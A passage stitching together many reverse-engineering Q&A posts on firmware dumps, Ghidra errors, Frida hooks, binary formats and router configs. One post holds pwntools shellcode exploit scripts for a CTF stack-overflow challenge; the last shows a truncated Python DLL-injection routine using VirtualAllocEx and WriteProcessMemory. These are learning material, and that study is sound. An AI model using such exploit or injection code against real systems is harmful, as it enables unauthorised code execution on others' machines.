    rm -f *.hex *.lst *.cod *.asm~
</code>```

Now inspecting the example.hex file with hexdump -C example.hex, I get:

```
00000000  3a 30 32 30 30 30 30 30  34 30 30 30 30 46 41 0a  |:020000040000FA.|
00000010  3a 30 30 30 30 30 30 30  31 46 46 0a              |:00000001FF.|
0000001c
```

which I have no clue how to interpret, and the objdump -d example.hex, throws this error:

```
example.hex:     file format ihex

objdump: can't disassemble for architecture UNKNOWN!
```

eventually I want to know what are the differences between the above four different methods of defining a constant and compare their performance and memory efficiency.


问:
Philosophical and procedural question - Process for using x64 inline assembly in recovering source code
I am assuming this should place be appropriate for what I want to ask. I want to ask more of a philosophical and procedural question because I don't want to try things that have been tried and spend much time on what I might need to redo in the future.

I have experience in source code recovery and have recovered complete programs back to source, but I noticed that in many instances (in X86) when I didn't have a function completed, I was able to just use __asm {} for functions that weren't completed yet. Essentially, the process I used for recovering X86 programs was to convert them using IDA to pseudo C and then clean it up, restore structs and classes, throw it in Visual Studio and correct types and other things, but this process as you can tell is very painstaking.

Now, I am wanting to try restoring a X64 bit program and I see there is no inline assembly for X64 assembly in Visual Studio reference.

An approach that I am evaluating, is to have a system of inline assembly and then converting function by function from assembly to pseudo C and then correcting the pseudo C, structs, classes, et cetera. The functions which aren't completely recovered yet would be in asm {} and I am thinking that maybe since Visual Studio cannot use the x64 asm blocks, that it might be a safe idea to compile these uncompleted functions as assembly objects (.obj files) with another compiler then link them together with MSVC.

Another idea that I am currently evaluating is to use Intel compiler which supposedly can use inline X64 assembly and use Visual Studio as well.

The compiler is important, because often you want to use the same compiler as the authors used for recovery. I assume, though, that because the code will be assembly, the compiler here doesn't matter too strongly.

Is this a sound idea, would I not have to scrap it later?


问:
nrf52-based localization tag flash dump and modification
Lately I've bought a localisation tag (Apple AirTag alike). When I click a button on my cell phone, the device plays a chiptune-like ringtone. The ringtone is configurable using the app and stored on the tag itself – I confirmed that by comparing firmware dumps before and after changing the ringtone.

To dump the firmware, I connected to the chip SWD interface. The chip is NRF52820 Nordic Semiconductor Bluetooth SoC. I used STLinkV2 together with OpenOCD to dump its memory – manually 256 kB starting from 0.

My goal is to patch this ringtone and upload back to the device, but it surprisingly doesn't work. There is a reddit post describing the chiptune binary format – that's why I know which parts I can edit. So basically:

I dump the firmware.

I change the chiptune using android app

I dump the firmware again.

The changed tune can be found in two places in flash memory (not sure why two). There are also smaller changes in other parts of memory, but also duplicated, so it looks like:

```<code>dump1:
address a: somedata_1
address b: somedata_2
address c: chiptune_data
address d: somedata_1
address e: somedata_2
address f: chiptune_data

dump2:
address a: altered_somedata_1
address b: altered_somedata_2
address c: altered_chiptune_data
address d: altered_somedata_1
address e: altered_somedata_2
address f: altered_chiptune_data
</code>```

I push a button in the Android app and hear that the tune has in fact changed.

I patch the area of code at addresses "c" and "f" to repeating two notes - multiple occurences of "4b 0a 52 0a" to cover the modified ringtone, to break this tune

I program the patched firmware and verify it is successfully written to flash

I turn off devices power to ensure that nothing stays in SRAM

I turn it back on and dump the firmware again to ensure again that flash is modified

I push the button in app and hear the second ringtone, not the modified "chirp"

I dump the firmware for the third time, still my changes are present. It doesn't look like a ringtone is uploaded every time I call the tag - while changing ringtone in settings it takes a longer time to upload than when I call it, moreover, the firmware does not have the changed ringtone.

It looks like there is no way that the old ringtone is on the device anymore(at least in its plain form), yet it plays it.

What am I doing wrong?

Also, why would the same data be stored in two parts of flash at the same time? Or maybe there is a certain type of protection on the chip i don't know about that shuffles the memory addressing?


问:
Which encryption returns 192 hash value it means 96 in bytes?
I am reversing an APK and there is a signature that needs to be found.
The function from where the signature is generated is present in the .so file.

I did small debugging. While doing it, the debugger shows all other processes, and when it is actually creating a signature, it automatically returns from the .so file to the apk and give the result in byte array format which is 92 of length, and after converting it to hex, it returns 192 hash value.

For all the input cases input length is 100 or 1000 the output hash value is 192.

Can anyone help me like which encryption gives 192 hash value?

I got all the information except the actual signature generation part. I can also share the assembly code if someone wants to help me.


问:
Retrieve all parameters of specific function: How to automate
I'm trying to reverse engineer.NET binary with dnspy. I have a decryption routine that is used to display useful strings. It takes one integer value as a parameter and uses it in the decryption process, I wrote a script to decrypt one string per value.

This routine is called many times. I want to retrieve all integer values passed to this function to decrypt all strings.

How to automate this process using python for example?


问:
Frida class constructor hook not called while there do exist instances of the class
I have an (obfuscated) app with a certain class from which I would like to hook the constructor. The class has only 1 constructor defined and so I hooked the class as follows:

```<code>var Aclass = Java.use('com.Aclass');
Aclass.$init.implementation =
function(argument) {
    console.log("class instance made! " + String(argument));
    return this.$init(argument);
};
</code>```

But no console logs get printed but also no errors so it seems no objects of the class are being made.

Though if I implement the following and call checkinstances() when the app is loaded I get several instances.

```<code>
function checkinstances() {
    Java.perform(function () {
        Java.choose("com.Aclass", {
            onMatch: function (instance) {
               console.log("Found instance: " + instance);
            },
            onComplete: function () { }
        });
    });
}

// exporting the function to python so we can call it whenever we want...
rpc.exports = {
    checkinstances: checkinstances,
};
</code>```

How is this possible?

Maybe relevant: I think the app initiates some object by using java reflection because I see classnames and functionnames in string format as argument for some obfuscated functions. Would this result in a normal constructor hook not working?


问:
Specifying multiple input files in radare2
If I want to pass several inputs, I know that I can write this with rarun2:

```<code>#!/usr/bin/rarun2
stdin="first\nsecond\n"
</code>```

But what if I want to pass the input from a file file1 at the first time the program is waiting for an input, then from a file file2? Is there a way to do this?


问:
Identify microcontroller (24CC MQRV819.1 1739 on P6901 V2.6 board)
I was trying to identify the following integrated circuit (marked with the codes 24CC MQRV819.1 1739).

It is mounted on the P6901 V2.6 board of a fingerprint presence recorder.

Given the function of the board and the other components on it I think that it is a microcontroller.

I searched the codes but I didn't find a datasheet or any documentation.
I also searched for a database with the pinouts of the IC to filter it using pin position/number (for example of GND, Vcc, etc...) but I didn't find anything useful.

Could it be a proprietary chip? How can I find more information?


问:
Reverse engineering unknown data file
I have a set of datafiles that I want to reverse engineer which are used by a software that controls my heating system. I want to extract the commands to then use these commands in my home automation system.

The files are not encrypted and using a hex editor, I can discover some of the information relatively easily. The problem is that some pieces of information belonging together are actually spread across the file. It seems to me that there is some kind of nesting (like with XML or something like that, but in binary) taking place, and if I could understand this nesting technique, it would probably be easy to access all the relevant information in one go.

The file starts out as this:

```<code>00000000: ffff 1600 1200 4344 6576 6963 6544 6573  ......CDeviceDes
00000010: 6372 6970 7469 6f6e 0100 0100 0100 0402  cription........
00000020: 0100 0409 0101 0200 0000 ffff 0100 1800  ................
00000030: 4344 6576 6963 6544 6573 6372 5374 6174  CDeviceDescrStat
00000040: 654d 616e 6167 6572 0100 0000 0200 0000  eManager........
00000050: 0700 0000 0100 0062 01ff ff01 000c 0043  .......b.......C
00000060: 436f 6d6d 4f62 6a56 616c 4d69 0005 0000  CommObjValMi....
00000070: 0000 0000 0301 0000 0000 0000 0200 0000  ................
00000080: ffff 0100 0700 4356 616c 4d45 3800 0012  ......CValME8...
00000090: 0000 0000 0000 0300 0010 0000 0000 00ff  ................
000000a0: feff 0120 0000 0030 0000 0000 0000 0000  ... ...0........
000000b0: 0000 0000 ff00 0000 0000 0000 6d00 0000  ............m...
</code>```

Here's what I figured out:
Each block begins with a ff ff signature. The third and fourth byte after ff ff are a 16-bit length field that indicates the length of the subsequent string. The strings here at the beginning of the file seem to be the, on the one hand, names of the table headers, but on the other hand could also be value types used in the software (such as CValME8; later occurrences are called "CComObjAnyString" or "CLString").

The actual data that I'm looking for comes later in the file:

```<code>000083b0: 0000 00a9 4090 0419 800d 092d 0001 0000  ....@......-....
000083c0: 0000 0401 0000 0000 0000 0100 0000 bc01  ................
000083d0: 0019 800d 092e 0001 0000 0000 0401 0000  ................
000083e0: 0000 0000 0100 0000 1b80 0000 0a09 0000  ................
000083f0: 0000 f40f 0000 8200 0000 0000 fffe ff03  ................
00008400: 3200 3200 3600 0000 8000 0000 007e 0000  2.2.6........~..
00008410: 0000 002d 800e 0905 0001 0000 0000 0202  ...-............
00008420: 0000 0100 0000 0100 0000 bd01 0000 0000  ................
00008430: 0000 0000 0000 0000 1980 0f09 2d00 0100  ............-...
</code>```

The record begins at 0x83b9 (could be 83b8 as well, depending on whether 0x80 is a start or end flag). 0x0d092d is the command code for parameter 226 whose ASCII representation can be found at 0x8400. The text representation of the parameter is always preceded by 0xff 0xfe 0xff and the length of the parameter text (here: 3 times an ASCII value stored in a 16 bit value). The record ends in 0x8438 (or 0x8439) with the flag 0x80. Inside this record, there are again sub-records with the 0x80 as delimiter containing references to an external SQLite database where the clear text name of the parameter as well as the drop-down options are stored.

My problem now is that I can't figure out a system how this data is structured. Some fields have their length stored, others don't. The blocks delimited by 0xff 0xff seem to end arbitrarily and I haven't figured out how a 0xff 0xff would be treated as data and not as a marker, if applicable. The same goes for the records which have varying sizes, and sometimes all information on a parameter is stored in one record, but sometimes part of the information on one parameter is spread across several records.

Does anyone have an idea on how to move forward from here? Or does the file format look somewhat familiar? The original software is running on Windows and requires .NET 4.8 if that is of any help.

Any hints or suggestions are highly appreciated!

Title: Reverse engineering unknown data file


问:
Got EOF while sending in interactive，How can I solve it?
Position: https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md

It provides a program named ret2shellcode. I try to pwn it, but I failed. I have tried two ways, execute in .bss, execute in stack. But, I just get the information below:

The OS environment and program information is as following:

And, I find that:.bss don't have execute permission

Exploit code:

Execute in (stack frame of entry0/_start)

```<code>#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
</code>```

Execute in buf (main function stack frame):

```<code>from pwn import *

sh = process("./ret2shellcode")

payload = asm(shellcraft.sh())
buf = 0xffffcecc

sh.sendline(payload.ljust(112, b'A') + p32(buf))
sh.interactive()
</code>```

Execute in buf2 (.bss):

```<code>from pwn import *

sh = process('./ret2shellcode')

payload = asm(shellcraft.sh())

sled_len =  112
ret_addr = 0xffffcf40

play_load2 = 112*b'A' + p32(ret_addr) + payload

sh.sendline(play_load2)
sh.interactive()
</code>```


问:
Cutter console does not show printf result
I'm using last version (2.0.5) of Cutter. I am not able to find a way to display std in/out in Cutter Console. In the picture I cleared the console before starting debugging and you can see it after the call to the printf. Am I doing something wrong?
Thanks,
L.


问:
How to locate executable section
How to locate executable section in PE file?

Is there any of typical way to locate executable section in any PE file?

Title: How to locate executable section


问:
What does the "Hint" entry in the PE import section mean?
In a ctf there was a rev PE challenge where it appeared in the deassembly as if the programm was calling functions from the ADVAPI32 but instead called some different code because the import table was modified. I can't quite figure out what was getting called instead.
A Binaryninja line where the ADVAPI function appears to be called:

```<code>CreateServiceA(&var_20, 0, 0, 0x18, 0xf0000000)
</code>```

The Import information I got from PEBear:

Call Via: 81D8,
Name: CreateServiceA,
Ordinal: -,
Original Thunk: 4E908,
Thunk: 8360,
Hint: DAB9

As I understood it the "Original Thunk" is the RVA where the "Hint" is located? But I don't really understand the rest.

My Question: What do the Thunks and the Hint mean, what exactly gets called and what was originally being called?


问:
How to patch bootstrap in NAND flash?
I read the layout or my NAND  flash and saw that in the beginning of flash there is a bootstrap the the CPU load. That flash has ECC

I read/write that flash.

How can I analyze the bootstrap and change value there without demege the ECC?

Title: How to patch bootstrap in NAND flash?


问:
x64dbg isn't running the program I'm looking at
I'm almost definitely being an idiot but I have opened up an .exe file in x64dbg and I can run the file just fine when looking at the assembly but it doesn't open a second window so I can see the program and interact with it.

It seems to work with some other programs but not with others, is there any reason for this? Essentially all the programs that don't seem to run via x64dbg are older programs.

Example of how it usually works:

This is the issue I'm now getting:


问:
How to deal with this Ghidra decompile error?
I'm getting the following Ghidra decompile error on one function:

```<code>Low-level Error: Symbol $$undef00000008 extends beyond the end of the address space
</code>```

I don't see anything unusual about the disassembly, and the functions before and after decompilation are fine.

What is Ghidra telling me is wrong, and how do I fix it?

The disassembled function:

```<code>                         **************************************************************
                         *                                                            *
                         *  FUNCTION                                                  *
                         **************************************************************
                         void __cdecl16near FUN_1000_03d5(void)
         void              <VOID>         <RETURN>
         undefined1        Stack[-0x3]:1  local_3                                 XREF[1]:     1000:0439(*)
         undefined2        Stack[-0x5]:2  local_5                                 XREF[2]:     1000:03f1(*),
                                                                                1000:0490(*)
         undefined2        Stack[-0x7]:2  local_7                                 XREF[2]:     1000:03f5(*),
                                                                                1000:0493(*)
                         FUN_1000_03d5                                   XREF[2]:     FUN_1000_05b9:1000:0a4b(c),
                                                                                1000:d876(c)
   1000:03d5 55              PUSH       BP
   1000:03d6 83 ec 09        SUB        SP,0x9
   1000:03d9 8b ec           MOV        BP,SP
   1000:03db 83 3e d2        CMP        word ptr [0xd2],0x1
             00 01
   1000:03e0 75 03           JNZ        LAB_1000_03e5
   1000:03e2 e8 c9 00        CALL       FUN_1000_04ae                                    undefined FUN_1000_04ae()
                         LAB_1000_03e5                                   XREF[1]:     1000:03e0(j)
   1000:03e5 c7 06 d2        MOV        word ptr [0xd2],0x1
             00 01 00
   1000:03eb c7 06 1a        MOV        word ptr [0x401a],0x0
             40 00 00
   1000:03f1 8d 46 06        LEA        AX,[BP + local_5]
   1000:03f4 50              PUSH       AX
   1000:03f5 8d 46 04        LEA        AX,[BP + local_7]
   1000:03f8 50              PUSH       AX
   1000:03f9 e8 52 41        CALL       FUN_1000_454e                                    undefined FUN_1000_454e(undefine
   1000:03fc 8b e5           MOV        SP,BP
   1000:03fe 33 c0           XOR        AX,AX
   1000:0400 50              PUSH       AX
   1000:0401 50              PUSH       AX
   1000:0402 e8 50 40        CALL       FUN_1000_4455                                    undefined FUN_1000_4455(undefine
   1000:0405 8b e5           MOV        SP,BP
   1000:0407 e8 7b 41        CALL       FUN_1000_4585                                    undefined FUN_1000_4585()
   1000:040a 33 c0           XOR        AX,AX
   1000:040c 50              PUSH       AX
   1000:040d 50              PUSH       AX
   1000:040e e8 44 40        CALL       FUN_1000_4455                                    undefined FUN_1000_4455(undefine
   1000:0411 8b e5           MOV        SP,BP
   1000:0413 82 3e 5d        CMP        byte ptr [0x345d],0x0
             34 00
   1000:0418 74 0b           JZ         LAB_1000_0425
   1000:041a b8 d4 00        MOV        AX,0xd4
   1000:041d 50              PUSH       AX
   1000:041e e8 a3 5b        CALL       FUN_1000_5fc4                                    undefined FUN_1000_5fc4(undefine
   1000:0421 8b e5           MOV        SP,BP
   1000:0423 eb 09           JMP        LAB_1000_042e
                         LAB_1000_0425                                   XREF[1]:     1000:0418(j)
   1000:0425 b8 f6 00        MOV        AX,0xf6
   1000:0428 50              PUSH       AX
   1000:0429 e8 98 5b        CALL       FUN_1000_5fc4                                    undefined FUN_1000_5fc4(undefine
   1000:042c 8b e5           MOV        SP,BP
                         LAB_1000_042e                                   XREF[1]:     1000:0423(j)
   1000:042e 33 c0           XOR        AX,AX
   1000:0430 50              PUSH       AX
   1000:0431 e8 aa c1        CALL       FUN_1000_c5de                                    undefined FUN_1000_c5de(undefine
   1000:0434 8b e5           MOV        SP,BP
   1000:0436 e8 d5 55        CALL       FUN_1000_5a0e                                    undefined FUN_1000_5a0e()
   1000:0439 88 46 08        MOV        byte ptr [BP + local_3],AL
   1000:043c 30 e4           XOR        AH,AH
   1000:043e 3d 79 00        CMP        AX,0x79
   1000:0441 89 46 00        MOV        word ptr [BP + 0x0],AX
   1000:0444 74 05           JZ         LAB_1000_044b
   1000:0446 3d 59 00        CMP        AX,0x59
   1000:0449 75 36           JNZ        LAB_1000_0481
                         LAB_1000_044b                                   XREF[1]:     1000:0444(j)
   1000:044b e8 62 40        CALL       FUN_1000_44b0                                    undefined FUN_1000_44b0()
   1000:044e 33 c0           XOR        AX,AX
   1000:0450 50              PUSH       AX
   1000:0451 50              PUSH       AX
   1000:0452 e8 00 40        CALL       FUN_1000_4455                                    undefined FUN_1000_4455(undefine
   1000:0455 8b e5           MOV        SP,BP
   1000:0457 ff 36 18 40     PUSH       word ptr [0x4018]
   1000:045b b8 27 01        MOV        AX,0x127
   1000:045e 50              PUSH       AX
   1000:045f e8 b9 47        CALL       printf_4c1b                                      undefined printf_4c1b(char * par
   1000:0462 8b e5           MOV        SP,BP
   1000:0464 33 c0           XOR        AX,AX
   1000:0466 50              PUSH       AX
   1000:0467 b8 01 00        MOV        AX,0x1
   1000:046a 50              PUSH       AX
   1000:046b ff 36 18 40     PUSH       word ptr [0x4018]
   1000:046f e8 ce 0a        CALL       FUN_1000_0f40                                    undefined FUN_1000_0f40(undefine
   1000:0472 8b e5           MOV        SP,BP
   1000:0474 33 c0           XOR        AX,AX
   1000:0476 50              PUSH       AX
   1000:0477 e8 39 46        CALL       FUN_1000_4ab3                                    undefined FUN_1000_4ab3()
   1000:047a 8b e5           MOV        SP,BP
                         deff should take 2 args???
   1000:047c e8 80 da        CALL       FUN_1000_deff                                    undefined FUN_1000_deff(undefine
   1000:047f eb 22           JMP        LAB_1000_04a3
                         LAB_1000_0481                                   XREF[1]:     1000:0449(j)
   1000:0481 33 c0           XOR        AX,AX
   1000:0483 50              PUSH       AX
   1000:0484 50              PUSH       AX
   1000:0485 e8 cd 3f        CALL       FUN_1000_4455                                    undefined FUN_1000_4455(undefine
   1000:0488 8b e5           MOV        SP,BP
   1000:048a e8 f8 40        CALL       FUN_1000_4585                                    undefined FUN_1000_4585()
   1000:048d e8 96 56        CALL       update_status_5b26                               undefined update_status_5b26()
   1000:0490 ff 76 06        PUSH       word ptr [BP + local_5]
   1000:0493 ff 76 04        PUSH       word ptr [BP + local_7]
   1000:0496 e8 bc 3f        CALL       FUN_1000_4455                                    undefined FUN_1000_4455(undefine
   1000:0499 8b e5           MOV        SP,BP
   1000:049b 33 c0           XOR        AX,AX
   1000:049d a3 2a 40        MOV        [0x402a],AX
   1000:04a0 a3 1a 40        MOV        [0x401a],AX
                         LAB_1000_04a3                                   XREF[1]:     1000:047f(j)
   1000:04a3 c7 06 d2        MOV        word ptr [0xd2],0x0
             00 00 00
   1000:04a9 83 c4 09        ADD        SP,0x9
   1000:04ac 5d              POP        BP
   1000:04ad c3              RET
</code>```


问:
Reverse engineering firmware to CD/DVD drive to enable scrambled mode support
I am a volunteer of the redump.org project, the goal of our website is to archive game CDs in the best possible quality. Unfortunately, this site requires only DiscImageCreator to be used for CD and DVD dumping. Unfortunately, my drive is incompatible with this program. I checked all the firmware for it that I found and none is compatible with the indicated program. I miss scrambled mode (opcode 0xBE) support. I have a question. Is it possible to disassemble the drive software and modify it to enable the desired mode? Unfortunately, I am completely new to it and I am a bit afraid of damaging the drive, but maybe it would be possible to find the indicated opcode in the firmware? My drive is a Toshiba TS-L632H.

OK, a lot has changed in this topic, I learned a lot of new things, so I can write all I need:
Well, from what I figured out, I need the "scrambled mode" which means that the drive reads data sectors as audio sectors. So the only thing I need is to find a place in the firmware where the BE opcode checks whether a given sector is a sector with data and disable this check (and I also found a document - https://aircconline.com/ijcsit/V14N4/14422ijcsit01.pdf)
Well, in practice, I don't really know where to start. There is some bootloader in the firmware of my drive that I can't break through and most likely all these BE type opcodes are in the bootloader. I reversed some of this firmware, but I still don't know where to look for these BE opcodes. The architecture of the firmware I determined was most likely the 8051


问:
How to decode/decrypt/decipher an unknown 83 bytes long UDP payload?
I have an unknown 83 bytes long payload which I would like to decode/decrypt/decipher…

I got an alarm system from vendor www.jablotron.com, an old device, but it works perfectly.

It’s JA-63 with a LAN extension card JA-60WEB. JA-60WEB is via Ethernet supposed to send all events detected by the alarm system to a CMS (Central Monitoring System).

JA-60WEB Installation manual: https://www.manualslib.com/manual/1199886/Jablotron-Ja-60web.html#manual

According to the manual the device should send event messages via IP CID protocol which I assume stand for Contact ID over IP protocol.

Contact ID protocol described here:
https://li0r.files.wordpress.com/2012/07/sia-dc-05-1999-09_contact_id.pdf

It should be a simple ASCII string, 16 byte long messages, in format (for example) like this: 1234 18 1131 01 015 8.
But unfortunately, it’s not.

I sniffed the traffic (Wireshark) outgoing from JA-60WEB to my fictive CMS receiver and got the following pattern.

I configured JA-60WEB module to send only messages when the following event happened: “Exit programming mode”. To have a static event message always.

I repeated the event 6 times, therefore below 54 times HEX stream of the UDP payload (each time 83 bytes long).

I observed that JA-60WEB sends each event 9 times. First time the real message, and after that it retries to send 8 times again as it did not receive the acknowledgment from CMS, that the message was received correctly. I have no real CMS, I’m trying to develop my own CMS, therefore the whole effort here.

My question: What is this? Binary encoded protocol? Encrypted somehow?

What is interesting is it’s for the same event slightly different stream and it should be static.
How would one approach this problem to detect what it is?

I also observed some patterns depicted here of another data sample. Like with every new message data is shifting to the left, and overwritten with something new incoming from the right side:

Data:

```<code>f090bb0c1c7023ece5b676ce4315a69c535a09770b91070742f9bdef381522a0502efc10e976858ed1e46ba14d5fa57140e38c726e9f7c0ac2f4520a9f7c9bddb6469da35efd13b38e859af4076e66fcdfca76
[encoded data, 8798 characters]
</code>```

Thanks a lot in advance.

OwnerDisplayName: A R


问:
Hex string to number
I am trying to reverse engineer a datalogger file (parker .scpo I believe).
I think it must be a 16bit format but I cant get the numbers to line up.
Data is stored in the form of a hex string I believe. First 100 characters here:

```<code>  BBFEBBFEBC09BC09BBFEBBFEBC09BC09BC09BC09BBE7BBFEBBFEBBFEBC09BBFEBC09BBFEBBFEBC15BBFEBBFEBBFEBBFEBBF2[continued...]
</code>```

Luckily I also have an export of this particular file, the corresponding values are here:

```<code>0.036,0.036,0.04,0.04,0.036,0.036,0.04,0.04,0.04,0.04,0.027,0.036,0.036,0.036,0.04,0.036,0.04,0.036,0.036,0.045,0.036,0.036,0.036,0.036,0.031,0.031,0.027,0.013,-0.033,-0.028,0.004,0.013,0.018,0.031,0.027,0.04,0.059,0.059,0.068,0.073,0.054,0.045,0.04,0.036,0.027,0.027,0.036,0.031,0.031,0.022[continued...]
</code>```

I also found the following metadata that I believe relates to this channel, last three entries are data series the first of which is above:

```<code>objVersion : 1
SMType : SMP
inputType : IN1
Priority : 1
ColorSerialized : 1
Name : ...
Sensor : eSCPT
Attention : 5
Alarm : 10
Scaling : eFS
LowerScaling : 0
UpperScaling : 0
Unit : bar
LowerRange : -1
UpperRange : 15
SignalUnit : V
LowerSignalRange : -0.2
UpperSignalRange : 3
CalcFormula : None
CAN_VID : None
CAN_REV : None
CAN_PCODE : None
CAN_SER : None
SlopeDin : eRising
LogicalDOUTOperation : e1A
DOUTTriggerA : eLevel
ConditionA : None
DOUTTriggerB : eLevel
ConditionB : None
SlopeDout : eRising

objVersion: 1
SMType: SMP
inputType: IN1
interval: 16
actValuesSerializedSMP: BBFEBBFEBC09BC09BBFEBBFEBC09BC09BC09BC09BBE7BBFEBBFEBBFEBC09BBFEBC09BBFEBBFEBC15BBFEBBFEBBFEBBFEBBF2[continued...]
minValuesSerializedSMP: BBDCBBD0BBE7BBDCBBE7BBDCBBDCBBE7BBE7BBF2BBE7BBE7BBE7BBDCBBFEBBF2BBFEBBF2BBF2BBF2BBFEBBE7BBF2BBE7BBE7[continued...]
maxValuesSerializedSMP: BC15BC09BC15BC09BC09BC15BC09BC15BC15BC09BC09BC20BC20BC15BC15BC20BC20BC20BC2CBC20BC20BC20BC15BC20BC09[continued...]
</code>```

Somewhere it mentions 1 decimal place which made me think fixed point or bcd.

Does anyone recognize this encoding, are there any keywords that might help me in the right direction?
Are there any resources that I could look at that may help.
If there are any relevant tags please either add them or let me know.

Things I have already tried:

Big and little endian floats and ints (16bit) ( h, H, e in python struct module)

BCD (from this answer on SO) as well as reversed

Things that I have considered and not (completely) explored:

Scaling the values but some of the range values in the header/metadata

Some sort of operation using LogicalDOUTOperation from the metadata.

What is SMP Encoding

Complete Data:

Encoded Values

Actual Values

First 20 points:

Taking the encoded Value X and the actual value Y:
the following appears to hold: AX+B = Y  where A and B are 9/23000 = 0.00039130.... and -18.79591...

Title: Hex string to number


问:
Ghidra not decompiling very simple ARM64 program
I'm trying to learn how Ghidra works by using it to analyze a very simple ELF file written in Assembly, compiled on a raspberry pi 4 (ARM64)

My Assembly code looks like this:

```<code>.global _start

_start:
    mov x0, #0x1
    ldr x1, =helloworld
    mov x2, #0xb
    mov x8, #0x40
    svc 0

    mov x0, #0x0
    mov x8, #93
    svc 0

.data
helloworld: .ascii "Hello World"
</code>```

I am compiling it like this:

```<code>$ as -o hello.o hello.s
$ ld -o hello hello.o
</code>```

It is producing this executable:

```<code>$ file hello
hello: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped
</code>```

It runs just fine:

```<code>$ ./hello
Hello World
</code>```

Now I am taking this ELF file and throwing it in to Ghidra and analyzing it and I'm getting an error. As shown below, there is nothing in the decompiled window, and in the bookmark window it shows:

```<code>Bad Instruction: Unable to resolve constructor at ..
</code>```

I was hoping someone could spot what I'm doing wrong because this seems like it would be very straightforward.


问:
Extracting ZTE F670L router's config.bin file
I want to enable telnet in my router (ZTE F670L V9.0.11P1N20D), So, I backup my router and i have a file config.bin, Size 23.5KB. I fired up kali and when i issue this command:

```<code>$ file config.bin
config.bin: OpenPGP Public Key
</code>```

I got this above output, I tried to extract this via binwalk, but no success.

Even though, Telnet is enabled on my router by default but the port is filtered:

```<code>PORT    STATE    SERVICE
21/tcp  open     ftp
23/tcp  filtered telnet
53/tcp  open     domain
80/tcp  open     http
139/tcp open     netbios-ssn
443/tcp open     https
</code>```

I tried resetting the router but still Port is filtered.
So, I hope there's a solution to extract that config.bin.


问:
Frida hook InsertMenuItemW
I'm trying to get information about menu items in an application. Experimentally established that InsertMenuItemW is called. Thanks to the documentation, I set the number of input parameters and wrote this hook.

```<code>var InsertMenuItemW = Module.findExportByName("user32.dll", "InsertMenuItemW");
const oInsertMenuItemW = new NativeFunction(InsertMenuItemW, 'pointer', ['pointer', 'pointer', 'pointer', 'pointer']);
Interceptor.replace(oInsertMenuItemW, new NativeCallback((pathPtr, pathPtr1, pathPtr2, pathPtr3) => {
    console.log(" "+pathPtr, pathPtr1, pathPtr2, pathPtr3);
    const fd = oInsertMenuItemW(pathPtr, pathPtr1, pathPtr2, pathPtr3);
    return fd;
}, 'pointer', ['pointer', 'pointer', 'pointer', 'pointer']));
</code>```

According to the documentation, I can get information about the new menu item by calling MENUITEMINFOA. But I can't figure out how to do it with Frida.

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-insertmenuitemw

Question update

I was advised in the comments to use Memory.alloc.

On the Internet, I found this example where the hook allows you to read downloaded files.

```<code>var pGetFileInformationByHandleEx = Module.findExportByName("kernel32.dll", "GetFileInformationByHandleEx");

var fGetFileInformationByHandleEx = new NativeFunction(pGetFileInformationByHandleEx, "bool",["pointer", "uint", "pointer", "uint"]);

function getNameFromHandle(hFile) {
    var lpFileInformation = Memory.alloc(0x200);
    // 0x2 -> FILE_NAME_INFO
    var callRes = fGetFileInformationByHandleEx(hFile, 0x2, lpFileInformation, 0x200);
    if (callRes) {
        console.log("|_ hFile: " + (lpFileInformation.add(0x4)).readUtf16String());
    } else {
        console.log("|_ hFile: N/A");
    }
}
</code>```

According to the documentation the third parameter (output).

```<code>BOOL GetFileInformationByHandleEx(
  [in]  HANDLE                    hFile,
  [in]  FILE_INFO_BY_HANDLE_CLASS FileInformationClass,
  [out] LPVOID                    lpFileInformation,
  [in]  DWORD                     dwBufferSize
);
</code>```

in the code you can see that we are passing the third parameter:Memory.alloc(0x200);

```<code>var callRes = fGetFileInformationByHandleEx(hFile, 0x2, lpFileInformation, 0x200)
</code>```

But according to the InsertMenuItem documentation the fourth parameter is [in, out]

```<code>BOOL GetMenuItemInfoA(
  [in]      HMENU           hmenu,
  [in]      UINT            item,
  [in]      BOOL            fByPosition,
  [in, out] LPMENUITEMINFOA lpmii
);
</code>```

As I understand it, we must pass the lpmi of our InsertMenuItem as the fourth parameter. But how do we get out?

My current code

```<code>var InsertMenuItemW = Module.findExportByName("user32.dll", "InsertMenuItemW");
var GetMenuItemInfoW = Module.findExportByName("user32.dll", "GetMenuItemInfoW");

var fGetMenuItemInfoW = new NativeFunction(GetMenuItemInfoW, "bool",["pointer", "pointer", "pointer", "pointer"]);
function getHandle(hmenu, item, fByPosition, lpmi) {
    var lpFileInformation = lpmi || Memory.alloc(0x200);
    var lpFileInformation2 = Memory.alloc(0x200);
    var callRes = fGetMenuItemInfoW(hmenu, item, fByPosition, lpmi);
    console.log(lpFileInformation2);
    console.log("-----------");
}
const oInsertMenuItemW = new NativeFunction(InsertMenuItemW, 'pointer', ['pointer', 'pointer', 'pointer', 'pointer']);
Interceptor.replace(oInsertMenuItemW, new NativeCallback((hmenu, item, fByPosition, lpmi) => {

    //call GetMenuItemInfoW
    getHandle(hmenu, item, fByPosition, lpmi);
    const fd = oInsertMenuItemW(hmenu, item, fByPosition, lpmi);
    return fd;
}, 'pointer', ['pointer', 'pointer', 'pointer', 'pointer']));
</code>```

Title: Frida hook InsertMenuItemW


问:
Call function from dll
I am writing a program and I have injected "mydll" file into the program, but I cannot call the hello function in it. How can I call the hello function? My code:</p>
```<code>import os
from ctypes import *

def DLL(dll_path, pid):
    PAGE_READWRITE = 0x04
    PROCESS_ALL_ACCESS = (0x00F0000 | 0x00100000 | 0xFFF)
    VIRTUAL_MEM = (0x1000 | 0x2000)
    kernel32 = windll.kernel32
    dll_len = len(dll_path)
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
    if not h_process:
        sys.exit(0)
    arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)
    written = c_int(0)
    kernel32.WriteProcessMemory(h_process, arg_address, dll_path, VIRTUAL_MEM, PAGE_READWRITE)
    h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
    h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
    thread_id = c_ulong(0)
